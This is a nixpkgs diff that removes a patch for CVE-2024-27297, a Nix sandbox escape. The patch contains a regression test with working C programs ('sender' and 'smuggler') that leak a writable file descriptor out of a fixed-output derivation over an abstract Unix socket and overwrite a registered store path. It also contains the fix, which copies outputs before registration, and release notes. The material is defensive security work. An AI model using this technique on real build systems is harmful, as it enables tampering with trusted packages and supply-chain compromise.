diff options
Diffstat (limited to 'nixpkgs/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch')
| -rw-r--r-- | nixpkgs/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch | 379 |
1 files changed, 0 insertions, 379 deletions
diff --git a/nixpkgs/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch b/nixpkgs/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch deleted file mode 100644 index 8d110d46a6bb..000000000000 --- a/nixpkgs/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch +++ /dev/null @@ -1,379 +0,0 @@ -From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001 -From: Tom Bereknyei <tomberek@gmail.com> -Date: Fri, 1 Mar 2024 03:42:26 -0500 -Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape - -Test that we can't leverage abstract unix domain sockets to leak file -descriptors out of the sandbox and modify the path after it has been -registered. - -Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> ---- - flake.nix | 2 + - tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++ - tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++ - tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++ - 4 files changed, 223 insertions(+) - create mode 100644 tests/nixos/ca-fd-leak/default.nix - create mode 100644 tests/nixos/ca-fd-leak/sender.c - create mode 100644 tests/nixos/ca-fd-leak/smuggler.c - -diff --git a/flake.nix b/flake.nix -index 230bb6031..4a54c660f 100644 ---- a/flake.nix -+++ b/flake.nix -@@ -634,6 +634,8 @@ - ["i686-linux" "x86_64-linux"] - (system: runNixOSTestFor system ./tests/nixos/setuid.nix); - -+ tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak; -+ - - # Make sure that nix-env still produces the exact same result - # on a particular version of Nixpkgs. -diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix -new file mode 100644 -index 000000000..a6ae72adc ---- /dev/null -+++ b/tests/nixos/ca-fd-leak/default.nix -@@ -0,0 +1,90 @@ -+# Nix is a sandboxed build system. But Not everything can be handled inside its -+# sandbox: Network access is normally blocked off, but to download sources, a -+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". -+# The detail here is not important, but in our case it means that the hash of -+# the output has to be known beforehand. And if you know that, you get a few -+# rights: you no longer run inside a special network namespace! -+# -+# Now, Linux has a special feature, that not many other unices do: Abstract -+# unix domain sockets! Not only that, but those are namespaced using the -+# network namespace! That means that we have a way to create sockets that are -+# available in every single fixed-output derivation, and also all processes -+# running on the host machine! Now, this wouldn't be that much of an issue, as, -+# well, the whole idea is that the output is pure, and all processes in the -+# sandbox are killed before finalizing the output. What if we didn't need those -+# processes at all? Unix domain sockets have a semi-known trick: you can pass -+# file descriptors around! -+# This makes it possible to exfiltrate a file-descriptor with write access to -+# $out outside of the sandbox. And that file-descriptor can be used to modify -+# the contents of the store path after it has been registered. -+ -+{ config, ... }: -+ -+let -+ pkgs = config.nodes.machine.nixpkgs.pkgs; -+ -+ # Simple C program that sends a a file descriptor to `$out` to a Unix -+ # domain socket. -+ # Compiled statically so that we can easily send it to the VM and use it -+ # inside the build sandbox. -+ sender = pkgs.runCommandWith { -+ name = "sender"; -+ stdenv = pkgs.pkgsStatic.stdenv; -+ } '' -+ $CC -static -o $out ${./sender.c} -+ ''; -+ -+ # Okay, so we have a file descriptor shipped out of the FOD now. But the -+ # Nix store is read-only, right? .. Well, yeah. But this file descriptor -+ # lives in a mount namespace where it is not! So even when this file exists -+ # in the actual Nix store, we're capable of just modifying its contents... -+ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); -+ -+ # The abstract socket path used to exfiltrate the file descriptor -+ socketName = "FODSandboxExfiltrationSocket"; -+in -+{ -+ name = "ca-fd-leak"; -+ -+ nodes.machine = -+ { config, lib, pkgs, ... }: -+ { virtualisation.writableStore = true; -+ nix.settings.substituters = lib.mkForce [ ]; -+ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; -+ }; -+ -+ testScript = { nodes }: '' -+ start_all() -+ -+ machine.succeed("echo hello") -+ # Start the smuggler server -+ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") -+ -+ # Build the smuggled derivation. -+ # This will connect to the smuggler server and send it the file descriptor -+ machine.succeed(r""" -+ nix-build -E ' -+ builtins.derivation { -+ name = "smuggled"; -+ system = builtins.currentSystem; -+ # look ma, no tricks! -+ outputHashMode = "flat"; -+ outputHashAlgo = "sha256"; -+ outputHash = builtins.hashString "sha256" "hello, world\n"; -+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; -+ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; -+ }' -+ """.strip()) -+ -+ -+ # Tell the smuggler server that we're done -+ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") -+ -+ # Check that the file was not modified -+ machine.succeed(r""" -+ cat ./result -+ test "$(cat ./result)" = "hello, world" -+ """.strip()) -+ ''; -+ -+} -diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c -new file mode 100644 -index 000000000..75e54fc8f ---- /dev/null -+++ b/tests/nixos/ca-fd-leak/sender.c -@@ -0,0 +1,65 @@ -+#include <sys/socket.h> -+#include <sys/un.h> -+#include <stdlib.h> -+#include <stddef.h> -+#include <stdio.h> -+#include <unistd.h> -+#include <fcntl.h> -+#include <errno.h> -+#include <string.h> -+#include <assert.h> -+ -+int main(int argc, char **argv) { -+ -+ assert(argc == 2); -+ -+ int sock = socket(AF_UNIX, SOCK_STREAM, 0); -+ -+ // Set up a abstract domain socket path to connect to. -+ struct sockaddr_un data; -+ data.sun_family = AF_UNIX; -+ data.sun_path[0] = 0; -+ strcpy(data.sun_path + 1, argv[1]); -+ -+ // Now try to connect, To ensure we work no matter what order we are -+ // executed in, just busyloop here. -+ int res = -1; -+ while (res < 0) { -+ res = connect(sock, (const struct sockaddr *)&data, -+ offsetof(struct sockaddr_un, sun_path) -+ + strlen(argv[1]) -+ + 1); -+ if (res < 0 && errno != ECONNREFUSED) perror("connect"); -+ if (errno != ECONNREFUSED) break; -+ } -+ -+ // Write our message header. -+ struct msghdr msg = {0}; -+ msg.msg_control = malloc(128); -+ msg.msg_controllen = 128; -+ -+ // Write an SCM_RIGHTS message containing the output path. -+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); -+ hdr->cmsg_len = CMSG_LEN(sizeof(int)); -+ hdr->cmsg_level = SOL_SOCKET; -+ hdr->cmsg_type = SCM_RIGHTS; -+ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); -+ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); -+ -+ msg.msg_controllen = CMSG_SPACE(sizeof(int)); -+ -+ // Write a single null byte too. -+ msg.msg_iov = malloc(sizeof(struct iovec)); -+ msg.msg_iov[0].iov_base = ""; -+ msg.msg_iov[0].iov_len = 1; -+ msg.msg_iovlen = 1; -+ -+ // Send it to the othher side of this connection. -+ res = sendmsg(sock, &msg, 0); -+ if (res < 0) perror("sendmsg"); -+ int buf; -+ -+ // Wait for the server to close the socket, implying that it has -+ // received the commmand. -+ recv(sock, (void *)&buf, sizeof(int), 0); -+} -diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c -new file mode 100644 -index 000000000..82acf37e6 ---- /dev/null -+++ b/tests/nixos/ca-fd-leak/smuggler.c -@@ -0,0 +1,66 @@ -+#include <sys/socket.h> -+#include <sys/un.h> -+#include <stdlib.h> -+#include <stddef.h> -+#include <stdio.h> -+#include <unistd.h> -+#include <assert.h> -+ -+int main(int argc, char **argv) { -+ -+ assert(argc == 2); -+ -+ int sock = socket(AF_UNIX, SOCK_STREAM, 0); -+ -+ // Bind to the socket. -+ struct sockaddr_un data; -+ data.sun_family = AF_UNIX; -+ data.sun_path[0] = 0; -+ strcpy(data.sun_path + 1, argv[1]); -+ int res = bind(sock, (const struct sockaddr *)&data, -+ offsetof(struct sockaddr_un, sun_path) -+ + strlen(argv[1]) -+ + 1); -+ if (res < 0) perror("bind"); -+ -+ res = listen(sock, 1); -+ if (res < 0) perror("listen"); -+ -+ int smuggling_fd = -1; -+ -+ // Accept the connection a first time to receive the file descriptor. -+ fprintf(stderr, "%s\n", "Waiting for the first connection"); -+ int a = accept(sock, 0, 0); -+ if (a < 0) perror("accept"); -+ -+ struct msghdr msg = {0}; -+ msg.msg_control = malloc(128); -+ msg.msg_controllen = 128; -+ -+ // Receive the file descriptor as sent by the smuggler. -+ recvmsg(a, &msg, 0); -+ -+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); -+ while (hdr) { -+ if (hdr->cmsg_level == SOL_SOCKET -+ && hdr->cmsg_type == SCM_RIGHTS) { -+ -+ // Grab the copy of the file descriptor. -+ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); -+ } -+ -+ hdr = CMSG_NXTHDR(&msg, hdr); -+ } -+ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); -+ close(a); -+ -+ // Wait for a second connection, which will tell us that the build is -+ // done -+ a = accept(sock, 0, 0); -+ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); -+ // Write a new content to the file -+ if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); -+ char * new_content = "Pwned\n"; -+ int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); -+ if (written_bytes != strlen(new_content)) perror("write"); -+} --- -2.42.0 - - -From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001 -From: Tom Bereknyei <tomberek@gmail.com> -Date: Fri, 1 Mar 2024 03:45:39 -0500 -Subject: [PATCH 2/3] Copy the output of fixed-output derivations before - registering them - -It is possible to exfiltrate a file descriptor out of the build sandbox -of FODs, and use it to modify the store path after it has been -registered. -To avoid that issue, don't register the output of the build, but a copy -of it (that will be free of any leaked file descriptor). - -Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> -Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io> ---- - src/libstore/build/local-derivation-goal.cc | 6 ++++++ - src/libutil/filesystem.cc | 6 ++++++ - src/libutil/util.hh | 7 +++++++ - 3 files changed, 19 insertions(+) - -diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc -index 64b55ca6a..f1e22f829 100644 ---- a/src/libstore/build/local-derivation-goal.cc -+++ b/src/libstore/build/local-derivation-goal.cc -@@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() - [&](const DerivationOutput::CAFixed & dof) { - auto & wanted = dof.ca.hash; - -+ // Replace the output by a fresh copy of itself to make sure -+ // that there's no stale file descriptor pointing to it -+ Path tmpOutput = actualPath + ".tmp"; -+ copyFile(actualPath, tmpOutput, true); -+ renameFile(tmpOutput, actualPath); -+ - auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { - .method = dof.ca.method, - .hashType = wanted.type, -diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc -index 11cc0c0e7..2a7787c0e 100644 ---- a/src/libutil/filesystem.cc -+++ b/src/libutil/filesystem.cc -@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) - } - } - -+ -+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete) -+{ -+ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete); -+} -+ - void renameFile(const Path & oldName, const Path & newName) - { - fs::rename(oldName, newName); -diff --git a/src/libutil/util.hh b/src/libutil/util.hh -index b302d6f45..59d42e0a5 100644 ---- a/src/libutil/util.hh -+++ b/src/libutil/util.hh -@@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst); - */ - void moveFile(const Path & src, const Path & dst); - -+/** -+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is -+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but -+ * with the guaranty that the destination will be “fresh”, with no stale inode -+ * or file descriptor pointing to it). -+ */ -+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete); - - /** - * Wrappers arount read()/write() that read/write exactly the --- -2.42.0 - - -From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001 -From: Tom Bereknyei <tomberek@gmail.com> -Date: Fri, 1 Mar 2024 04:01:23 -0500 -Subject: [PATCH 3/3] Add release notes - -Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> ---- - doc/manual/src/release-notes/rl-next.md | 8 ++++++++ - 1 file changed, 8 insertions(+) - -diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md -index c869b5e2f..f77513385 100644 ---- a/doc/manual/src/release-notes/rl-next.md -+++ b/doc/manual/src/release-notes/rl-next.md -@@ -1 +1,9 @@ - # Release X.Y (202?-??-??) -+ -+- Fix a FOD sandbox escape: -+ Cooperating Nix derivations could send file descriptors to files in the Nix -+ store to each other via Unix domain sockets in the abstract namespace. This -+ allowed one derivation to modify the output of the other derivation, after Nix -+ has registered the path as "valid" and immutable in the Nix database. -+ In particular, this allowed the output of fixed-output derivations to be -+ modified from their expected content. This isn't the case any more. --- -2.42.0 - |